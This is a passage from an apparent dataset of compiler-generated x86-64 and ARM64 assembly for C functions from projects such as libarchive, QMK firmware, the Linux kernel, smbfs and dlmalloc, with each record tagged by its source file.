LBB0_2: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rdi
callq _skip_base_block
cmpl (%r15), %eax
je LBB0_11
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
cmpl (%r12), %eax
je LBB0_11
## %bb.4: ## in Loop: Header=BB0_2 Depth=1
movl (%r14), %ecx
cmpl $128, %eax
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_2 Depth=1
testl %ecx, %ecx
jne LBB0_6
LBB0_11:
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _ARCHIVE_FATAL,4,2 ## @ARCHIVE_FATAL
.comm _ARCHIVE_FAILED,4,2 ## @ARCHIVE_FAILED
.no_dead_strip _advance_multivolume
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function advance_multivolume
_advance_multivolume: ; @advance_multivolume
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
bl _get_context
mov x20, x0
ldr w8, [x0]
cmp w8, #1
b.ne LBB0_4
LBB0_1:
str wzr, [x20]
LBB0_2: ; =>This Inner Loop Header: Depth=1
mov x0, x19
bl _skip_base_block
cmp w0, #128
b.eq LBB0_2
LBB0_3:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_4:
Lloh0:
adrp x21, _ARCHIVE_FATAL@GOTPAGE
Lloh1:
ldr x21, [x21, _ARCHIVE_FATAL@GOTPAGEOFF]
Lloh2:
adrp x22, _ARCHIVE_FAILED@GOTPAGE
Lloh3:
ldr x22, [x22, _ARCHIVE_FAILED@GOTPAGEOFF]
b LBB0_6
LBB0_5: ; in Loop: Header=BB0_6 Depth=1
cmp w8, #1
b.eq LBB0_1
LBB0_6: ; =>This Inner Loop Header: Depth=1
mov x0, x19
bl _skip_base_block
ldr w8, [x21]
ldr w9, [x22]
cmp w0, w8
ccmp w0, w9, #4, ne
b.eq LBB0_3
; %bb.7: ; in Loop: Header=BB0_6 Depth=1
ldr w8, [x20]
cmp w0, #128
b.eq LBB0_5
; %bb.8: ; in Loop: Header=BB0_6 Depth=1
cbnz w8, LBB0_5
b LBB0_3
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _ARCHIVE_FATAL,4,2 ; @ARCHIVE_FATAL
.comm _ARCHIVE_FAILED,4,2 ; @ARCHIVE_FAILED
.no_dead_strip _advance_multivolume
.subsections_via_symbols
| AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_read_support_format_rar5.c_advance_multivolume.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _process_record_user ## -- Begin function process_record_user
.p2align 4, 0x90
_process_record_user: ## @process_record_user
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## kill: def $edi killed $edi def $rdi
addl $-128, %edi
cmpl $4, %edi
ja LBB0_1
## %bb.2:
leaq LJTI0_0(%rip), %rax
movslq (%rax,%rdi,4), %rcx
addq %rax, %rcx
jmpq *%rcx
LBB0_3:
cmpl $0, (%rsi)
je LBB0_14
## %bb.4:
leaq L_.str(%rip), %rdi
jmp LBB0_13
LBB0_1:
movl $1, %eax
popq %rbp
retq
LBB0_11:
cmpl $0, (%rsi)
je LBB0_14
## %bb.12:
leaq L_.str.4(%rip), %rdi
jmp LBB0_13
LBB0_9:
cmpl $0, (%rsi)
je LBB0_14
## %bb.10:
leaq L_.str.3(%rip), %rdi
jmp LBB0_13
LBB0_7:
cmpl $0, (%rsi)
je LBB0_14
## %bb.8:
leaq L_.str.2(%rip), %rdi
jmp LBB0_13
LBB0_5:
cmpl $0, (%rsi)
je LBB0_14
## %bb.6:
leaq L_.str.1(%rip), %rdi
LBB0_13:
callq _SEND_STRING
LBB0_14:
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_3, LBB0_3-LJTI0_0
.set L0_0_set_11, LBB0_11-LJTI0_0
.set L0_0_set_9, LBB0_9-LJTI0_0
.set L0_0_set_7, LBB0_7-LJTI0_0
.set L0_0_set_5, LBB0_5-LJTI0_0
LJTI0_0:
.long L0_0_set_3
.long L0_0_set_11
.long L0_0_set_9
.long L0_0_set_7
.long L0_0_set_5
.end_data_region
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "=SUM("
L_.str.1: ## @.str.1
.asciz "=AVERAGE("
L_.str.2: ## @.str.2
.asciz "=COUNTIF("
L_.str.3: ## @.str.3
.asciz "=MAX("
L_.str.4: ## @.str.4
.asciz "=MIN("
.comm _RGB_current_mode,4,2 ## @RGB_current_mode
.comm _rgblight_config,4,2 ## @rgblight_config
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _process_record_user ; -- Begin function process_record_user
.p2align 2
_process_record_user: ; @process_record_user
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub w8, w0, #128
cmp w8, #4
b.hi LBB0_4
; %bb.1:
Lloh0:
adrp x9, lJTI0_0@PAGE
Lloh1:
add x9, x9, lJTI0_0@PAGEOFF
adr x10, LBB0_2
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_2:
ldr w8, [x1]
cbz w8, LBB0_14
; %bb.3:
Lloh2:
adrp x0, l_.str@PAGE
Lloh3:
add x0, x0, l_.str@PAGEOFF
b LBB0_13
LBB0_4:
mov w0, #1
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB0_5:
ldr w8, [x1]
cbz w8, LBB0_14
; %bb.6:
Lloh4:
adrp x0, l_.str.4@PAGE
Lloh5:
add x0, x0, l_.str.4@PAGEOFF
b LBB0_13
LBB0_7:
ldr w8, [x1]
cbz w8, LBB0_14
; %bb.8:
Lloh6:
adrp x0, l_.str.3@PAGE
Lloh7:
add x0, x0, l_.str.3@PAGEOFF
b LBB0_13
LBB0_9:
ldr w8, [x1]
cbz w8, LBB0_14
; %bb.10:
Lloh8:
adrp x0, l_.str.2@PAGE
Lloh9:
add x0, x0, l_.str.2@PAGEOFF
b LBB0_13
LBB0_11:
ldr w8, [x1]
cbz w8, LBB0_14
; %bb.12:
Lloh10:
adrp x0, l_.str.1@PAGE
Lloh11:
add x0, x0, l_.str.1@PAGEOFF
LBB0_13:
bl _SEND_STRING
LBB0_14:
mov w0, #0
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh10, Lloh11
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_2-LBB0_2)>>2
.byte (LBB0_5-LBB0_2)>>2
.byte (LBB0_7-LBB0_2)>>2
.byte (LBB0_9-LBB0_2)>>2
.byte (LBB0_11-LBB0_2)>>2
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "=SUM("
l_.str.1: ; @.str.1
.asciz "=AVERAGE("
l_.str.2: ; @.str.2
.asciz "=COUNTIF("
l_.str.3: ; @.str.3
.asciz "=MAX("
l_.str.4: ; @.str.4
.asciz "=MIN("
.comm _RGB_current_mode,4,2 ; @RGB_current_mode
.comm _rgblight_config,4,2 ; @rgblight_config
.subsections_via_symbols
| AnghaBench/qmk_firmware/keyboards/naked64/keymaps/default_with_setta21/extr_keymap.c_process_record_user.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ipath_inc_eeprom_err ## -- Begin function ipath_inc_eeprom_err
.p2align 4, 0x90
_ipath_inc_eeprom_err: ## @ipath_inc_eeprom_err
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %rbx
movq %rsi, %r14
movq %rdi, %r15
leaq 8(%rdi), %r12
movq %r12, %rdi
callq _spin_lock_irqsave
movq (%r15), %rax
addl (%rax,%r14,4), %ebx
cmpl $255, %ebx
movl $255, %ecx
cmovll %ebx, %ecx
movl %ecx, (%rax,%r14,4)
movq %r12, %rdi
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _spin_unlock_irqrestore ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ipath_inc_eeprom_err ; -- Begin function ipath_inc_eeprom_err
.p2align 2
_ipath_inc_eeprom_err: ; @ipath_inc_eeprom_err
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x20, x1
mov x21, x0
add x22, x0, #8
mov x0, x22
bl _spin_lock_irqsave
ldr x8, [x21]
lsl x9, x20, #2
ldr w10, [x8, x9]
add w10, w10, w19
mov w11, #255
cmp w10, #255
csel w10, w10, w11, lt
str w10, [x8, x9]
mov x0, x22
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _spin_unlock_irqrestore
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/infiniband/hw/ipath/extr_ipath_eeprom.c_ipath_inc_eeprom_err.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mmc_stop_host ## -- Begin function mmc_stop_host
.p2align 4, 0x90
_mmc_stop_host: ## @mmc_stop_host
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movq _MMC_CAP_DISABLE@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, 4(%rdi)
je LBB0_2
## %bb.1:
leaq 32(%rbx), %rdi
callq _cancel_delayed_work
LBB0_2:
leaq 28(%rbx), %rdi
callq _cancel_delayed_work
xorl %eax, %eax
callq _mmc_flush_scheduled_work
movq %rbx, %rdi
callq _mmc_bus_get
movq 16(%rbx), %rax
testq %rax, %rax
je LBB0_7
## %bb.3:
cmpl $0, 24(%rbx)
je LBB0_4
LBB0_7:
movq %rbx, %rdi
callq _mmc_bus_put
movl 8(%rbx), %edi
callq _BUG_ON
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _mmc_power_off ## TAILCALL
LBB0_4:
movq (%rax), %rax
testq %rax, %rax
je LBB0_6
## %bb.5:
movq %rbx, %rdi
callq *%rax
LBB0_6:
movq %rbx, %rdi
callq _mmc_claim_host
movq %rbx, %rdi
callq _mmc_detach_bus
movq %rbx, %rdi
callq _mmc_release_host
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _mmc_bus_put ## TAILCALL
.cfi_endproc
## -- End function
.comm _MMC_CAP_DISABLE,4,2 ## @MMC_CAP_DISABLE
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mmc_stop_host ; -- Begin function mmc_stop_host
.p2align 2
_mmc_stop_host: ; @mmc_stop_host
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr w8, [x0, #4]
Lloh0:
adrp x9, _MMC_CAP_DISABLE@GOTPAGE
Lloh1:
ldr x9, [x9, _MMC_CAP_DISABLE@GOTPAGEOFF]
Lloh2:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_2
; %bb.1:
add x0, x19, #32
bl _cancel_delayed_work
LBB0_2:
add x0, x19, #28
bl _cancel_delayed_work
bl _mmc_flush_scheduled_work
mov x0, x19
bl _mmc_bus_get
ldr x8, [x19, #16]
cbz x8, LBB0_4
; %bb.3:
ldr w9, [x19, #24]
cbz w9, LBB0_5
LBB0_4:
mov x0, x19
bl _mmc_bus_put
ldr w0, [x19, #8]
bl _BUG_ON
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _mmc_power_off
LBB0_5:
ldr x8, [x8]
cbz x8, LBB0_7
; %bb.6:
mov x0, x19
blr x8
LBB0_7:
mov x0, x19
bl _mmc_claim_host
mov x0, x19
bl _mmc_detach_bus
mov x0, x19
bl _mmc_release_host
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _mmc_bus_put
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _MMC_CAP_DISABLE,4,2 ; @MMC_CAP_DISABLE
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/mmc/core/extr_core.c_mmc_stop_host.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _smb_t2_request ## -- Begin function smb_t2_request
.p2align 4, 0x90
_smb_t2_request: ## @smb_t2_request
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $88, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r9, %r14
movl %r8d, %r15d
movq %rcx, %r12
movl %edx, %r13d
movl %esi, %ebx
movq %rdi, -48(%rbp) ## 8-byte Spill
leaq -120(%rbp), %rdi
movl $72, %esi
callq _bzero
movq -120(%rbp), %rax
movl %ebx, (%rax)
movq 48(%rbp), %rcx
movl %r13d, -112(%rbp)
movq %r12, -104(%rbp)
movl %r15d, -96(%rbp)
movq %r14, -56(%rbp)
movq 32(%rbp), %rbx
movl 16(%rbp), %eax
movl %eax, -92(%rbp)
movq 24(%rbp), %rax
movq %rax, -64(%rbp)
movl (%rbx), %eax
movl %eax, -88(%rbp)
movq 40(%rbp), %rax
movq %rax, -72(%rbp)
movq %rcx, %r14
movl (%rcx), %eax
movl %eax, -84(%rbp)
movq 56(%rbp), %rax
movq %rax, -80(%rbp)
movq -48(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
movq _SMBIOC_T2RQ@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq -120(%rbp), %rdx
callq _ioctl
cmpl $-1, %eax
je LBB0_1
## %bb.2:
movl -88(%rbp), %eax
movl %eax, (%rbx)
movl -84(%rbp), %eax
movl %eax, (%r14)
xorl %eax, %eax
jmp LBB0_3
LBB0_1:
movq _errno@GOTPCREL(%rip), %rax
movl (%rax), %eax
LBB0_3:
addq $88, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _SMBIOC_T2RQ,4,2 ## @SMBIOC_T2RQ
.comm _errno,4,2 ## @errno
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _smb_t2_request ; -- Begin function smb_t2_request
.p2align 2
_smb_t2_request: ; @smb_t2_request
.cfi_startproc
; %bb.0:
sub sp, sp, #192
.cfi_def_cfa_offset 192
stp x28, x27, [sp, #96] ; 16-byte Folded Spill
stp x26, x25, [sp, #112] ; 16-byte Folded Spill
stp x24, x23, [sp, #128] ; 16-byte Folded Spill
stp x22, x21, [sp, #144] ; 16-byte Folded Spill
stp x20, x19, [sp, #160] ; 16-byte Folded Spill
stp x29, x30, [sp, #176] ; 16-byte Folded Spill
add x29, sp, #176
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
stp x7, x0, [sp, #8] ; 16-byte Folded Spill
mov x26, x6
mov x21, x5
mov x22, x4
mov x23, x3
mov x24, x2
mov x25, x1
ldp x20, x27, [x29, #32]
ldp x28, x19, [x29, #16]
add x0, sp, #24
mov w1, #72
bl _bzero
ldr x8, [sp, #24]
str w25, [x8]
str w24, [sp, #32]
str x23, [sp, #40]
stp w22, w26, [sp, #48]
ldr x8, [sp, #8] ; 8-byte Folded Reload
stp x8, x21, [sp, #80]
ldr w8, [x28]
ldr w9, [x20]
stp w8, w9, [sp, #56]
stp x27, x19, [sp, #64]
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w0, [x8]
Lloh0:
adrp x8, _SMBIOC_T2RQ@GOTPAGE
Lloh1:
ldr x8, [x8, _SMBIOC_T2RQ@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
add x2, sp, #24
bl _ioctl
cmn w0, #1
b.eq LBB0_2
; %bb.1:
mov w0, #0
ldp w8, w9, [sp, #56]
str w8, [x28]
str w9, [x20]
b LBB0_3
LBB0_2:
Lloh3:
adrp x8, _errno@GOTPAGE
Lloh4:
ldr x8, [x8, _errno@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
LBB0_3:
ldp x29, x30, [sp, #176] ; 16-byte Folded Reload
ldp x20, x19, [sp, #160] ; 16-byte Folded Reload
ldp x22, x21, [sp, #144] ; 16-byte Folded Reload
ldp x24, x23, [sp, #128] ; 16-byte Folded Reload
ldp x26, x25, [sp, #112] ; 16-byte Folded Reload
ldp x28, x27, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #192
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _SMBIOC_T2RQ,4,2 ; @SMBIOC_T2RQ
.comm _errno,4,2 ; @errno
.subsections_via_symbols
| AnghaBench/freebsd/contrib/smbfs/lib/smb/extr_rq.c_smb_t2_request.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function sticon_deinit
_sticon_deinit: ## @sticon_deinit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _sticon_deinit
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function sticon_deinit
_sticon_deinit: ; @sticon_deinit
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.no_dead_strip _sticon_deinit
.subsections_via_symbols
| AnghaBench/linux/drivers/video/console/extr_sticon.c_sticon_deinit.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mspace_realloc_in_place ## -- Begin function mspace_realloc_in_place
.p2align 4, 0x90
_mspace_realloc_in_place: ## @mspace_realloc_in_place
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
testq %rsi, %rsi
je LBB0_3
## %bb.1:
cmpq $-128, %rdx
jb LBB0_4
## %bb.2:
callq ___error
movl $12, (%rax)
LBB0_3:
xorl %eax, %eax
jmp LBB0_83
LBB0_4:
movq %rsi, %r14
leaq 31(%rdx), %rax
andq $-16, %rax
cmpq $15, %rdx
movl $32, %r12d
cmovaeq %rax, %r12
movq -8(%rsi), %rax
andq $-8, %rax
movq _mparams(%rip), %rcx
movq -16(%rsi,%rax), %r13
xorq %rcx, %r13
cmpq %rcx, 64(%r13)
jne LBB0_74
## %bb.5:
leaq -16(%r14), %r15
testb $2, 880(%r13)
je LBB0_7
## %bb.6:
movl $1, %ebx
movl $1, %eax
xchgl %eax, 884(%r13)
testl %eax, %eax
jne LBB0_19
LBB0_7:
movq 24(%r13), %rsi
cmpq %r15, %rsi
ja LBB0_74
## %bb.8:
movq -8(%r14), %rdi
movl %edi, %edx
andl $3, %edx
cmpl $1, %edx
je LBB0_74
## %bb.9:
movq %rdi, %rax
andq $-8, %rax
jle LBB0_74
## %bb.10:
leaq (%r15,%rax), %r9
movq 8(%r9), %rcx
testb $1, %cl
je LBB0_74
## %bb.11:
testq %rdx, %rdx
je LBB0_23
## %bb.12:
movq %rax, %rdx
subq %r12, %rdx
jae LBB0_25
## %bb.13:
cmpq %r9, 40(%r13)
je LBB0_31
## %bb.14:
cmpq %r9, 32(%r13)
je LBB0_33
## %bb.15:
testb $2, %cl
jne LBB0_24
## %bb.16:
movq %rcx, %r8
andq $-8, %r8
addq %rax, %r8
movq %r8, %rdx
subq %r12, %rdx
jb LBB0_24
## %bb.39:
cmpq $255, %rcx
ja LBB0_50
## %bb.40:
shrq $3, %rcx
movq 16(%r9), %rax
movq 24(%r9), %r10
leal (%rcx,%rcx), %ebx
leaq 72(,%rbx,8), %rbx
addq %r13, %rbx
cmpq %rbx, %rax
je LBB0_43
## %bb.41:
cmpq %rax, %rsi
ja LBB0_74
## %bb.42:
cmpq %r9, 24(%rax)
jne LBB0_74
LBB0_43:
cmpq %rax, %r10
je LBB0_55
## %bb.44:
cmpq %rbx, %r10
je LBB0_47
## %bb.45:
cmpq %r10, %rsi
ja LBB0_74
## %bb.46:
cmpq %r9, 16(%r10)
jne LBB0_74
LBB0_47:
movq %r10, 24(%rax)
movq %rax, 16(%r10)
jmp LBB0_77
.p2align 4, 0x90
LBB0_18: ## in Loop: Header=BB0_19 Depth=1
incl %ebx
LBB0_19: ## =>This Inner Loop Header: Depth=1
cmpl $0, 884(%r13)
jne LBB0_21
## %bb.20: ## in Loop: Header=BB0_19 Depth=1
movl $1, %eax
xchgl %eax, 884(%r13)
testl %eax, %eax
je LBB0_7
LBB0_21: ## in Loop: Header=BB0_19 Depth=1
testb $63, %bl
jne LBB0_18
## %bb.22: ## in Loop: Header=BB0_19 Depth=1
callq _sched_yield
jmp LBB0_18
LBB0_23:
cmpq $256, %r12 ## imm = 0x100
jb LBB0_24
## %bb.28:
movq %r12, %rcx
orq $8, %rcx
cmpq %rcx, %rax
jb LBB0_24
## %bb.29:
subq %r12, %rax
movq _mparams+16(%rip), %rdx
addq %rdx, %rdx
movq %r15, %rcx
cmpq %rdx, %rax
ja LBB0_24
jmp LBB0_80
LBB0_25:
movq %r15, %rcx
cmpq $32, %rdx
jb LBB0_80
## %bb.26:
leaq (%r15,%r12), %rsi
andl $1, %edi
orq %r12, %rdi
orq $2, %rdi
movq %rdi, -8(%r14)
movq _mparams(%rip), %rax
xorq %r13, %rax
movq %rax, -16(%r14,%r12)
movq %rdx, %rcx
orq $3, %rcx
movq %rcx, -8(%r14,%r12)
orb $1, 8(%r9)
movq %rax, (%r9)
LBB0_27:
movq %r13, %rdi
callq _dispose_chunk
jmp LBB0_79
LBB0_31:
addq 16(%r13), %rax
subq %r12, %rax
jbe LBB0_24
## %bb.32:
leaq (%r15,%r12), %rcx
andl $1, %edi
orq %r12, %rdi
orq $2, %rdi
movq %rdi, -8(%r14)
movq _mparams(%rip), %rdx
xorq %r13, %rdx
movq %rdx, -16(%r14,%r12)
movq %rax, %rdx
orq $1, %rdx
movq %rdx, -8(%r14,%r12)
movq %rcx, 40(%r13)
movq %rax, 16(%r13)
jmp LBB0_79
LBB0_33:
addq 8(%r13), %rax
movq %rax, %rcx
subq %r12, %rcx
jae LBB0_37
LBB0_24:
xorl %ecx, %ecx
LBB0_80:
testb $2, 880(%r13)
je LBB0_82
LBB0_81:
movl $0, 884(%r13)
LBB0_82:
xorl %eax, %eax
cmpq %r15, %rcx
cmoveq %r14, %rax
LBB0_83:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_37:
cmpq $32, %rcx
jb LBB0_48
## %bb.38:
leaq (%r15,%r12), %rdx
andl $1, %edi
orq %r12, %rdi
orq $2, %rdi
movq %rdi, -8(%r14)
movq _mparams(%rip), %rsi
xorq %r13, %rsi
movq %rsi, -16(%r14,%r12)
movq %rcx, %rsi
orq $1, %rsi
movq %rsi, -8(%r14,%r12)
movq %rcx, -16(%r14,%rax)
andb $-2, -8(%r14,%rax)
jmp LBB0_49
LBB0_48:
andl $1, %edi
orq %rax, %rdi
orq $2, %rdi
movq %rdi, -8(%r14)
orb $1, -8(%r14,%rax)
movq _mparams(%rip), %rcx
xorq %r13, %rcx
movq %rcx, -16(%r14,%rax)
xorl %ecx, %ecx
xorl %edx, %edx
LBB0_49:
movq %rcx, 8(%r13)
movq %rdx, 32(%r13)
jmp LBB0_79
LBB0_50:
movq 24(%r9), %rbx
movq 48(%r9), %r10
cmpq %r9, %rbx
je LBB0_56
## %bb.51:
movq 16(%r9), %rax
cmpq %rax, %rsi
ja LBB0_74
## %bb.52:
cmpq %r9, 24(%rax)
jne LBB0_74
## %bb.53:
cmpq %r9, 16(%rbx)
jne LBB0_74
## %bb.54:
movq %rbx, 24(%rax)
movq %rax, 16(%rbx)
testq %r10, %r10
jne LBB0_63
jmp LBB0_77
LBB0_55:
movl $-2, %eax
## kill: def $cl killed $cl killed $rcx
roll %cl, %eax
andl %eax, (%r13)
jmp LBB0_77
LBB0_56:
movq 40(%r9), %rax
testq %rax, %rax
je LBB0_58
## %bb.57:
leaq 40(%r9), %rcx
jmp LBB0_59
LBB0_58:
leaq 32(%r9), %rcx
movq (%rcx), %rax
testq %rax, %rax
je LBB0_76
LBB0_59: ## =>This Inner Loop Header: Depth=1
movq %rax, %rbx
movq %rcx, %r11
leaq 40(%rax), %rcx
movq 40(%rax), %rax
testq %rax, %rax
jne LBB0_59
## %bb.60: ## in Loop: Header=BB0_59 Depth=1
leaq 32(%rbx), %rcx
movq 32(%rbx), %rax
testq %rax, %rax
jne LBB0_59
## %bb.61:
cmpq %r11, %rsi
ja LBB0_74
## %bb.62:
movq $0, (%r11)
testq %r10, %r10
je LBB0_77
LBB0_63:
movl 56(%r9), %ecx
cmpq %r9, 600(%r13,%rcx,8)
je LBB0_66
## %bb.64:
cmpq %r10, 24(%r13)
ja LBB0_74
## %bb.65:
xorl %eax, %eax
cmpq %r9, 32(%r10)
setne %al
movq %rbx, 32(%r10,%rax,8)
testq %rbx, %rbx
jne LBB0_67
jmp LBB0_77
LBB0_66:
movq %rbx, 600(%r13,%rcx,8)
testq %rbx, %rbx
je LBB0_75
LBB0_67:
movq 24(%r13), %rax
cmpq %rbx, %rax
ja LBB0_74
## %bb.68:
movq %r10, 48(%rbx)
movq 32(%r9), %rcx
testq %rcx, %rcx
je LBB0_71
## %bb.69:
cmpq %rcx, %rax
ja LBB0_74
## %bb.70:
movq %rcx, 32(%rbx)
movq %rbx, 48(%rcx)
LBB0_71:
movq 40(%r9), %rax
testq %rax, %rax
je LBB0_77
## %bb.72:
cmpq %rax, 24(%r13)
ja LBB0_74
## %bb.73:
movq %rax, 40(%rbx)
movq %rbx, 48(%rax)
jmp LBB0_77
LBB0_74:
callq _abort
LBB0_75:
movl $-2, %eax
## kill: def $cl killed $cl killed $rcx
roll %cl, %eax
andl %eax, 4(%r13)
jmp LBB0_77
LBB0_76:
xorl %ebx, %ebx
testq %r10, %r10
jne LBB0_63
LBB0_77:
cmpq $31, %rdx
ja LBB0_84
## %bb.78:
andl $1, %edi
orq %r8, %rdi
orq $2, %rdi
movq %rdi, -8(%r14)
orb $1, -8(%r14,%r8)
